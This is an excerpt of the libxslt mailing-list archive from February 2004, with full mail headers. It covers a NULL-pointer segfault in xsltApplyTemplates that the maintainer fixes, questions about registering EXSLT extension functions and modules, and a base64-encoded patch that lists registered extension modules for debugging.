X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: Good day! A change in xsltApplyTemplates (transform.c) did bite me. I was replacing some nodes from the source documents by brand new nodes within a Python extension function. (I suspect my problem was not Python-specific, however.) I was using libxml2.newNode() to create these nodes, which I retured as a list of nodes, probably equivalent to a nodeset. This means that those nodes did not have a document. At line 3142 sq of transform.c, you look at the document's name 3142 if ((list != NULL) && (ctxt->document->keys != NULL)) { 3143 if ((list->nodeNr != 0) && 3144 (xmlStrEqual((xmlChar *)list->nodeTab[0]->doc->name, 3145 (const xmlChar *) " fake node libxslt")) && In my case, list->nodeTab[0]->doc is NULL. I suspect I was misusing the API, but I would have liked learning about it in a way other than a segfault ;-) I got out this situation by setting the new nodes' document to the source document, a blatant lie, but it made libxslt happy. Maybe there is a proper protocol for inserting source nodes which I do not know about; maybe there should be a xsl-oriented variant of xmlNewNode which would insert the "fake node libxslt" pseudo-document; maybe it is a bad idea in the first place... But I thought you should know about this possibility. Marc-Antoine Parent From anonymous@community6.interfree.it Wed Feb 18 02:31:31 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from community6.interfree.it (community6.interfree.it [213.158.72.46]) by mail.gnome.org (Postfix) with ESMTP id 3D0ED18654 for ; Wed, 18 Feb 2004 02:31:28 -0500 (EST) Received: (qmail 25004 invoked by uid 320); 18 Feb 2004 07:31:20 -0000 Date: 18 Feb 2004 07:31:20 -0000 Message-ID: <20040218073120.25003.qmail@community6.interfree.it> From: spinmar@interfree.it () To: xslt@gnome.org Subject: [xslt] extension Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org X-Reply-To: spinmar@interfree.it List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: Hi all, I forgot to tell you my libxml2 and libxslt version. xsltproc --version Using libxml 20511, libxslt 10033 and libexslt 722 xsltproc was compiled against libxml 20511, libxslt 10033 and libexslt 722 libxslt 10033 was compiled against libxml 20511 libexslt 722 was compiled against libxml 20511 Any advice for me? Thanks --Marco -------------------------------------------------------------------------- CONCORSO "All Friends": NAVIGA CON INTERFREE E VINCI OLTRE 5.000 PREMI HI.TECH! Iscriviti gratuitamente all'indirizzo http://promo.interfree.it naviga in internet con i nostri numeri a tariffa urbana e vinci: 3.000 Mouse ottici 1.200 Mouse ottici per notebook 600 Mouse wireless 300 Tastiere wireless + mouse wireless 150 Sistemi wireless access point completi di due pcmci card 60 Monitor LCD da 15" 18 Notebook BUONA FORTUNA! ;-) Lo Staff di Interfree -------------------------------------------------------------------------- From veillard@redhat.com Wed Feb 18 04:52:11 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by mail.gnome.org (Postfix) with ESMTP id EE65118B4E for ; Wed, 18 Feb 2004 04:52:07 -0500 (EST) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1I9q1b13589 for ; Wed, 18 Feb 2004 04:52:01 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1I9q0i22231 for ; Wed, 18 Feb 2004 04:52:00 -0500 Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with ESMTP id i1I9pwkC013146 for ; Wed, 18 Feb 2004 04:51:58 -0500 Received: (from veillard@localhost) by devserv.devel.redhat.com (8.12.10/8.12.10/Submit) id i1I9pwVs013143 for xslt@gnome.org; Wed, 18 Feb 2004 04:51:58 -0500 Date: Wed, 18 Feb 2004 04:51:58 -0500 From: Daniel Veillard To: xslt@gnome.org Subject: Re: [xslt] Release of libxslt-1.1.3 Message-ID: <20040218095158.GM12603@redhat.com> References: <20040216163116.GT12603@redhat.com> <39BBC473-6195-11D8-8A07-003065D4F272@acm.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <39BBC473-6195-11D8-8A07-003065D4F272@acm.org> User-Agent: Mutt/1.4.1i Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org X-Reply-To: veillard@redhat.com List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: On Tue, Feb 17, 2004 at 05:04:15PM -0500, Marc-Antoine Parent wrote: > Good day! Hello, > A change in xsltApplyTemplates (transform.c) did bite me. I was > replacing some nodes from the source documents by brand new nodes > within a Python extension function. (I suspect my problem was not > Python-specific, however.) I was using libxml2.newNode() to create > these nodes, which I retured as a list of nodes, probably equivalent to > a nodeset. This means that those nodes did not have a document. > > At line 3142 sq of transform.c, you look at the document's name > 3142 if ((list != NULL) && (ctxt->document->keys != > NULL)) { > 3143 if ((list->nodeNr != 0) && > 3144 (xmlStrEqual((xmlChar > *)list->nodeTab[0]->doc->name, > 3145 (const xmlChar *) " fake node > libxslt")) && > > In my case, list->nodeTab[0]->doc is NULL. I suspect I was misusing the > API, but I would have liked learning about it in a way other than a > segfault ;-) Hum, the test for (list->nodeTab[0]->doc != NULL) was missing. I'm adding it, that's really the cause of the bug. > I got out this situation by setting the new nodes' document to the > source document, a blatant lie, but it made libxslt happy. It's a bit dangerous, though. The best is to use newDocNode, with the document being the document of the current insertion point. I.e. getting tctxt.insertNode() and reusing its document. > Maybe there is a proper protocol for inserting source nodes which I do > not know about; maybe there should be a xsl-oriented variant of > xmlNewNode which would insert the "fake node libxslt" pseudo-document; > maybe it is a bad idea in the first place... > But I thought you should know about this possibility. I don't really have a function for creating a node in the output document. maybe I should. Another way to build those extentions in a simpler way and possibly safer to would be to expose some of the libxml2 and libxslt internal APIs as extension functions in the xsltproc namespace. Since I have XML descriptions for them it would be relatively trivial to generate the extension interfaces automatically and have them linked within the libxslt or libexslt library. That's just a possibility, I didn't work on it, just toying with the idea. Daniel -- Daniel Veillard | Red Hat Network https://rhn.redhat.com/ veillard@redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From veillard@redhat.com Wed Feb 18 04:54:29 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by mail.gnome.org (Postfix) with ESMTP id C8B3E18233 for ; Wed, 18 Feb 2004 04:54:25 -0500 (EST) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1I9sMb14209 for ; Wed, 18 Feb 2004 04:54:22 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1I9sMi22756 for ; Wed, 18 Feb 2004 04:54:22 -0500 Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with ESMTP id i1I9sJkC013820 for ; Wed, 18 Feb 2004 04:54:19 -0500 Received: (from veillard@localhost) by devserv.devel.redhat.com (8.12.10/8.12.10/Submit) id i1I9sJiN013818 for xslt@gnome.org; Wed, 18 Feb 2004 04:54:19 -0500 Date: Wed, 18 Feb 2004 04:54:19 -0500 From: Daniel Veillard To: xslt@gnome.org Subject: Re: [xslt] extension Message-ID: <20040218095419.GN12603@redhat.com> References: <20040217180602.1866.qmail@community21.interfree.it> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040217180602.1866.qmail@community21.interfree.it> User-Agent: Mutt/1.4.1i Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org X-Reply-To: veillard@redhat.com List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: On Tue, Feb 17, 2004 at 06:06:02PM -0000, spinmar@interfree.it wrote: > > Hi all, > > I have a stupid question but I can't understand how to use extensions. > > I have noticed (with xsltproc --dumpextensions) that the function str:encode is included. > > How can I use it in my c program? > > My xsl starts with: > > > > > but the program givers me this error: > > xmlXPathCompOpEval: function encode-uri not found > XPath error Unregistered function in str:encode-uri($str,true()) > > > I suppose that I have to call some function in my main. exsltRegisterAll(); probably, Daniel -- Daniel Veillard | Red Hat Network https://rhn.redhat.com/ veillard@redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From boz@icradio.com Wed Feb 18 05:37:54 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from icradio1.icradio1.media.su.ic.ac.uk (icradio1.media.su.ic.ac.uk [155.198.243.101]) by mail.gnome.org (Postfix) with ESMTP id 9105718332 for ; Wed, 18 Feb 2004 05:37:53 -0500 (EST) Received: from boz (helo=localhost) by icradio1.icradio1.media.su.ic.ac.uk with local-esmtp (Exim 3.35 #1 (Debian)) id 1AtP5f-0006i1-00 for ; Wed, 18 Feb 2004 10:38:03 +0000 Date: Wed, 18 Feb 2004 10:38:03 +0000 (GMT) From: Steve Little X-X-Sender: boz@icradio1.icradio1.media.su.ic.ac.uk To: xslt@gnome.org Subject: Re: [xslt] extension In-Reply-To: <20040218095419.GN12603@redhat.com> Message-ID: References: <20040217180602.1866.qmail@community21.interfree.it> <20040218095419.GN12603@redhat.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: > > I suppose that I have to call some function in my main. > > exsltRegisterAll(); probably, On a related note, I've got a couple of extension function built into an extension module and they work nicely. (I'd like to say I found the documentation on how to write them really helpful, since there have been complaints about the docs lately.) I've added a call to xsltRegisterExtModule() to a modifed version of xsltproc (just after the exsltRegisterAll() ) so that I can use them from there, and again all works nicely. I was just curious why they don't show up when I use --dumpextensions. It looks like each LibEXSLT extension is added individually using xsltRegisterExtModuleFunction() or xsltRegisterExtensionModuleElement() instead of xsltRegisterExtModule() to do whole modules. I just wondered if there's a reason for doing that this way instead? From trawling the mailing lists, I found this: "You don't need xsltRegisterExtModule() until you need to share data between several extensions (functions or elements) in the same module (same namespace URI) or need to do something before or after using an extension." So, is the preferred method to register each function/element individually? I'd thought that registering the whole module was simpler... Thanks, Steve From veillard@redhat.com Wed Feb 18 05:47:16 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by mail.gnome.org (Postfix) with ESMTP id B58BA18B5D for ; Wed, 18 Feb 2004 05:47:10 -0500 (EST) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1IAl5b27420 for ; Wed, 18 Feb 2004 05:47:05 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1IAl5i01394 for ; Wed, 18 Feb 2004 05:47:05 -0500 Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with ESMTP id i1IAl2kC001458 for ; Wed, 18 Feb 2004 05:47:02 -0500 Received: (from veillard@localhost) by devserv.devel.redhat.com (8.12.10/8.12.10/Submit) id i1IAl2ON001455 for xslt@gnome.org; Wed, 18 Feb 2004 05:47:02 -0500 Date: Wed, 18 Feb 2004 05:47:02 -0500 From: Daniel Veillard To: xslt@gnome.org Subject: Re: [xslt] extension Message-ID: <20040218104702.GP12603@redhat.com> References: <20040217180602.1866.qmail@community21.interfree.it> <20040218095419.GN12603@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org X-Reply-To: veillard@redhat.com List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: On Wed, Feb 18, 2004 at 10:38:03AM +0000, Steve Little wrote: > > > I suppose that I have to call some function in my main. > > > > exsltRegisterAll(); probably, > > On a related note, I've got a couple of extension function built into an > extension module and they work nicely. (I'd like to say I found the > documentation on how to write them really helpful, since there have been > complaints about the docs lately.) > > I've added a call to xsltRegisterExtModule() to a modifed version of > xsltproc (just after the exsltRegisterAll() ) so that I can use them from > there, and again all works nicely. > > I was just curious why they don't show up when I use --dumpextensions. > > It looks like each LibEXSLT extension is added individually using > xsltRegisterExtModuleFunction() or xsltRegisterExtensionModuleElement() > instead of xsltRegisterExtModule() to do whole modules. > > I just wondered if there's a reason for doing that this way instead? From > trawling the mailing lists, I found this: > > "You don't need xsltRegisterExtModule() until you need to share data > between several extensions (functions or elements) in the same module > (same namespace URI) or need to do something before or after using an > extension." > > So, is the preferred method to register each function/element > individually? I'd thought that registering the whole module was simpler... Well, I think it's historical, the initial API allowed only individual function registration, and the module support was added because people needed to have some context (like a database connection) persistance across call to extensions. Actually is you have good example of doing some module extensions that's something which should be added to the documentation, like the examples for libxml2 http://xmlsoft.org/examples/index.html doing something similar for libxslt/libexslt would be useful, probably not very hard based on the existing libxml2 indexing code. If you have good examples (didactic and standalone) I would appreciate contributions :-) Daniel -- Daniel Veillard | Red Hat Network https://rhn.redhat.com/ veillard@redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From boz@icradio.com Wed Feb 18 07:25:20 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from icradio1.icradio1.media.su.ic.ac.uk (icradio1.media.su.ic.ac.uk [155.198.243.101]) by mail.gnome.org (Postfix) with ESMTP id 92293180D9 for ; Wed, 18 Feb 2004 07:25:18 -0500 (EST) Received: from boz (helo=localhost) by icradio1.icradio1.media.su.ic.ac.uk with local-esmtp (Exim 3.35 #1 (Debian)) id 1AtQle-0008Tu-00 for ; Wed, 18 Feb 2004 12:25:30 +0000 Date: Wed, 18 Feb 2004 12:25:30 +0000 (GMT) From: Steve Little X-X-Sender: boz@icradio1.icradio1.media.su.ic.ac.uk To: xslt@gnome.org Subject: Re: [xslt] extension In-Reply-To: <20040218104702.GP12603@redhat.com> Message-ID: References: <20040217180602.1866.qmail@community21.interfree.it> <20040218095419.GN12603@redhat.com> <20040218104702.GP12603@redhat.com> MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-962894349-611530054-1077107130=:29688" Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---962894349-611530054-1077107130=:29688 Content-Type: TEXT/PLAIN; charset=US-ASCII > Well, I think it's historical, the initial API allowed only individual > function registration, and the module support was added because people > needed to have some context (like a database connection) persistance > across call to extensions. Ok, fair enough. > Actually is you have good example of doing some module extensions > that's something which should be added to the documentation, like the > examples for libxml2 http://xmlsoft.org/examples/index.html > doing something similar for libxslt/libexslt would be useful, probably > not very hard based on the existing libxml2 indexing code. Ok, I might look at doing that if I get time. > If you have good examples (didactic and standalone) I would appreciate > contributions :-) My code probably isn't much use as an example of this kind, since it's just a collection of similar (date handling) functions grouped into a module, rather than functions which share any resources. Sadly it's also fairly tightly tied to some propriatory code owned by the company I work for. Sorry about that, if I come up with any examples that are more useful to others, I'll mail them to the list. I've attached a small patch to allow xsltDebugExtensions() to display all extension modules (as well as elements and functions), since elements or functions which are in a module registered with xsltRegisterExtModule() don't show up otherwise. Thanks again, Steve ---962894349-611530054-1077107130=:29688 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="dumpmodules.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="dumpmodules.patch" KioqIGV4dGVuc2lvbnMuYwlXZWQgT2N0IDE1IDE2OjI2OjAxIDIwMDMNCi0t LSBleHRlbnNpb25zLmMubmV3CVdlZCBGZWIgMTggMTI6MTA6MDggMjAwNA0K KioqKioqKioqKioqKioqDQoqKiogMTYyMSwxNjI2ICoqKioNCi0tLSAxNjIx LDE2MzYgLS0tLQ0KICAJZnByaW50ZihvdXRwdXQsInslc30lc1xuIixVUkks bmFtZSk7DQogIH0NCiAgDQorIHN0YXRpYyB2b2lkDQorIHhzbHREZWJ1Z0R1 bXBFeHRNb2R1bGVzQ2FsbGJhY2sodm9pZCogZnVuY3Rpb24gQVRUUklCVVRF X1VOVVNFRCwNCisgCSAgICAgICAgICAgICAgICAgICAgICAgIEZJTEUgKm91 dHB1dCwgY29uc3QgeG1sQ2hhciogVVJJLA0KKyAJCQkJY29uc3QgeG1sQ2hh ciogbm90X3VzZWQgQVRUUklCVVRFX1VOVVNFRCwNCisgCQkJCWNvbnN0IHht bENoYXIqIG5vdF91c2VkMiBBVFRSSUJVVEVfVU5VU0VEKSB7DQorIAlpZiAo IVVSSSkNCisgCQlyZXR1cm47DQorIAlmcHJpbnRmKG91dHB1dCwiJXNcbiIs VVJJKTsNCisgfQ0KKyANCiAgLyoqDQogICAqIHhzbHREZWJ1Z0R1bXBFeHRl bnNpb25zOg0KICAgKiBAb3V0cHV0OiAgdGhlIEZJTEUgKiBmb3IgdGhlIG91 dHB1dCwgaWYgTlVMTCBzdGRvdXQgaXMgdXNlZA0KKioqKioqKioqKioqKioq DQoqKiogMTY0NSwxNjUwICoqKioNCi0tLSAxNjU1LDE2NjYgLS0tLQ0KICAJ CWZwcmludGYob3V0cHV0LCJcblJlZ2lzdGVyZWQgRXh0ZW5zaW9uIEVsZW1l bnRzOlxuIik7DQogIAkJeG1sSGFzaFNjYW5GdWxsKHhzbHRFbGVtZW50c0hh c2gsKHhtbEhhc2hTY2FubmVyRnVsbCl4c2x0RGVidWdEdW1wRXh0ZW5zaW9u c0NhbGxiYWNrLG91dHB1dCk7DQogICAJfQ0KKyAJaWYgKCF4c2x0RXh0ZW5z aW9uc0hhc2gpDQorIAkJZnByaW50ZihvdXRwdXQsIlxuTm8gcmVnaXN0ZXJl ZCBleHRlbnNpb24gbW9kdWxlc1xuIik7DQorIAllbHNlIHsNCisgCQlmcHJp bnRmKG91dHB1dCwiXG5SZWdpc3RlcmVkIEV4dGVuc2lvbiBNb2R1bGVzOlxu Iik7DQorIAkJeG1sSGFzaFNjYW5GdWxsKHhzbHRFeHRlbnNpb25zSGFzaCwo eG1sSGFzaFNjYW5uZXJGdWxsKXhzbHREZWJ1Z0R1bXBFeHRNb2R1bGVzQ2Fs bGJhY2ssb3V0cHV0KTsNCisgIAl9DQogIA0KICB9DQogIA0K ---962894349-611530054-1077107130=:29688-- From veillard@redhat.com Wed Feb 18 07:34:22 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by mail.gnome.org (Postfix) with ESMTP id A53A318152 for ; Wed, 18 Feb 2004 07:34:19 -0500 (EST) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1ICYFb21459 for ; Wed, 18 Feb 2004 07:34:15 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1ICYFi25553 for ; Wed, 18 Feb 2004 07:34:15 -0500 Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with ESMTP id i1ICYCkC019632 for ; Wed, 18 Feb 2004 07:34:12 -0500 Received: (from veillard@localhost) by devserv.devel.redhat.com (8.12.10/8.12.10/Submit) id i1ICYC2R019625 for xslt@gnome.org; Wed, 18 Feb 2004 07:34:12 -0500 Date: Wed, 18 Feb 2004 07:34:12 -0500 From: Daniel Veillard To: xslt@gnome.org Subject: Re: [xslt] extension Message-ID: <20040218123412.GS12603@redhat.com> References: <20040217180602.1866.qmail@community21.interfree.it> <20040218095419.GN12603@redhat.com> <20040218104702.GP12603@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org X-Reply-To: veillard@redhat.com List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: On Wed, Feb 18, 2004 at 12:25:30PM +0000, Steve Little wrote: > > If you have good examples (didactic and standalone) I would appreciate > > contributions :-) > > My code probably isn't much use as an example of this kind, since it's > just a collection of similar (date handling) functions grouped into a > module, rather than functions which share any resources. Sadly it's also > fairly tightly tied to some propriatory code owned by the company I work > for. Sorry about that, if I come up with any examples that are more useful > to others, I'll mail them to the list. okay, thanks, > I've attached a small patch to allow xsltDebugExtensions() to display all > extension modules (as well as elements and functions), since elements or > functions which are in a module registered with xsltRegisterExtModule() > don't show up otherwise. Applied and commited, thanks ! Daniel -- Daniel Veillard | Red Hat Network https://rhn.redhat.com/ veillard@redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From maparent@acm.org Wed Feb 18 08:26:27 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from smtp.istop.com (dci.doncaster.on.ca [66.11.168.194]) by mail.gnome.org (Postfix) with ESMTP id 7BEAB18233 for ; Wed, 18 Feb 2004 08:26:25 -0500 (EST) Received: from [66.11.172.37] (maparent.ott.istop.com [66.11.172.37]) by smtp.istop.com (Postfix) with ESMTP id 9032117C422 for ; Wed, 18 Feb 2004 08:26:19 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v612) In-Reply-To: <20040218095158.GM12603@redhat.com> References: <20040216163116.GT12603@redhat.com> <39BBC473-6195-11D8-8A07-003065D4F272@acm.org> <20040218095158.GM12603@redhat.com> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <082FFDA5-6216-11D8-B3C9-003065D4F272@acm.org> Content-Transfer-Encoding: 7bit From: Marc-Antoine Parent Subject: Re: [xslt] Release of libxslt-1.1.3 Date: Wed, 18 Feb 2004 08:26:17 -0500 To: xslt@gnome.org X-Mailer: Apple Mail (2.612) Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: >> In my case, list->nodeTab[0]->doc is NULL. I suspect I was misusing >> the >> API, but I would have liked learning about it in a way other than a >> segfault ;-) > > Hum, the test for (list->nodeTab[0]->doc != NULL) was missing. > I'm adding it, that's really the cause of the bug. First, thank you for the correction; I suspected this would be needed; but I was not sure whether the doc was expected for other reasons. >> A change in xsltApplyTemplates (transform.c) did bite me. I was >> replacing some nodes from the source documents by brand new nodes >> within a Python extension function. (I suspect my problem was not >> Python-specific, however.) I was using libxml2.newNode() to create >> these nodes, which I retured as a list of nodes, probably equivalent >> to >> a nodeset. This means that those nodes did not have a document. >> ... >> I got out this situation by setting the new nodes' document to the >> source document, a blatant lie, but it made libxslt happy. > > It's a bit dangerous, though. The best is to use newDocNode, > with the document being the document of the current insertion > point. I.e. getting tctxt.insertNode() and reusing its document. > .... > I don't really have a function for creating a node in the output > document. > maybe I should. Yesss.... BTW, I did mention that I consider those nodes to be part of the input documents, or at least I subject them to templates as if they were. Would that be possible with output nodes of the kind you describe? Actually, I do not need it now, but I was even thinking of faking the "parent" link, so that templates that act on these nodes could have access to the whole document. Of course, I do not expect this kind of trickery to be supported by the API! (though, it is a pretty classical DOM change, after all.) However, I do care that templates can be applied to these new nodes, and I feel it is a reasonable expectation. But I think that such a function as you describe would be neeed in all cases, and perhaps also one to create a node in the input document (and add it properly) if that makes a difference to applying templates. > Another way to build those extentions in a simpler way and possibly > safer > to would be to expose some of the libxml2 and libxslt internal APIs as > extension functions in the xsltproc namespace. Since I have XML > descriptions > for them it would be relatively trivial to generate the extension > interfaces > automatically and have them linked within the libxslt or libexslt > library. > That's just a possibility, I didn't work on it, just toying with the > idea. I would hesitate to do this, myself. Would that not cause an API lock-in? Marc-Antoine From veillard@redhat.com Wed Feb 18 08:40:23 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by mail.gnome.org (Postfix) with ESMTP id 7277718990 for ; Wed, 18 Feb 2004 08:40:19 -0500 (EST) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1IDeEb06832 for ; Wed, 18 Feb 2004 08:40:14 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1IDeEi10334 for ; Wed, 18 Feb 2004 08:40:14 -0500 Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with ESMTP id i1IDeBkC020653 for ; Wed, 18 Feb 2004 08:40:11 -0500 Received: (from veillard@localhost) by devserv.devel.redhat.com (8.12.10/8.12.10/Submit) id i1IDeB8m020647 for xslt@gnome.org; Wed, 18 Feb 2004 08:40:11 -0500 Date: Wed, 18 Feb 2004 08:40:11 -0500 From: Daniel Veillard To: xslt@gnome.org Subject: Re: [xslt] Release of libxslt-1.1.3 Message-ID: <20040218134011.GT12603@redhat.com> References: <20040216163116.GT12603@redhat.com> <39BBC473-6195-11D8-8A07-003065D4F272@acm.org> <20040218095158.GM12603@redhat.com> <082FFDA5-6216-11D8-B3C9-003065D4F272@acm.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <082FFDA5-6216-11D8-B3C9-003065D4F272@acm.org> User-Agent: Mutt/1.4.1i Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org X-Reply-To: veillard@redhat.com List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: On Wed, Feb 18, 2004 at 08:26:17AM -0500, Marc-Antoine Parent wrote: > BTW, I did mention that I consider those nodes to be part of the input > documents, or at least I subject them to templates as if they were. > Would that be possible with output nodes of the kind you describe? > Actually, I do not need it now, but I was even thinking of faking the > "parent" link, so that templates that act on these nodes could have > access to the whole document. Of course, I do not expect this kind of > trickery to be supported by the API! (though, it is a pretty classical > DOM change, after all.) However, I do care that templates can be > applied to these new nodes, and I feel it is a reasonable expectation. > > But I think that such a function as you describe would be neeed in all > cases, and perhaps also one to create a node in the input document (and > add it properly) if that makes a difference to applying templates. Adding node in the input document is not really sane. You could use the document() and exslt:node-set() to apply templates to data not in the main input. That sounds quite saner. Adding node in the output document is okay, but you'd better make sure the nodes are created for said document. > > Another way to build those extentions in a simpler way and possibly > >safer > >to would be to expose some of the libxml2 and libxslt internal APIs as > >extension functions in the xsltproc namespace. Since I have XML > >descriptions > >for them it would be relatively trivial to generate the extension > >interfaces > >automatically and have them linked within the libxslt or libexslt > >library. > >That's just a possibility, I didn't work on it, just toying with the > >idea. > > I would hesitate to do this, myself. Would that not cause an API > lock-in? from a library standpoint, the API must be preserved. From a user standpoint it sounds better than relying on hardcoded C extension against libxml2/libxslt API. Daniel -- Daniel Veillard | Red Hat Network https://rhn.redhat.com/ veillard@redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From maparent@acm.org Wed Feb 18 19:05:16 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from smtp.istop.com (dci.doncaster.on.ca [66.11.168.194]) by mail.gnome.org (Postfix) with ESMTP id 8B31418161 for ; Wed, 18 Feb 2004 19:05:15 -0500 (EST) Received: from [66.11.172.37] (maparent.ott.istop.com [66.11.172.37]) by smtp.istop.com (Postfix) with ESMTP id 71E6617C316 for ; Wed, 18 Feb 2004 19:05:07 -0500 (EST) Mime-Version: 1.0 (Apple 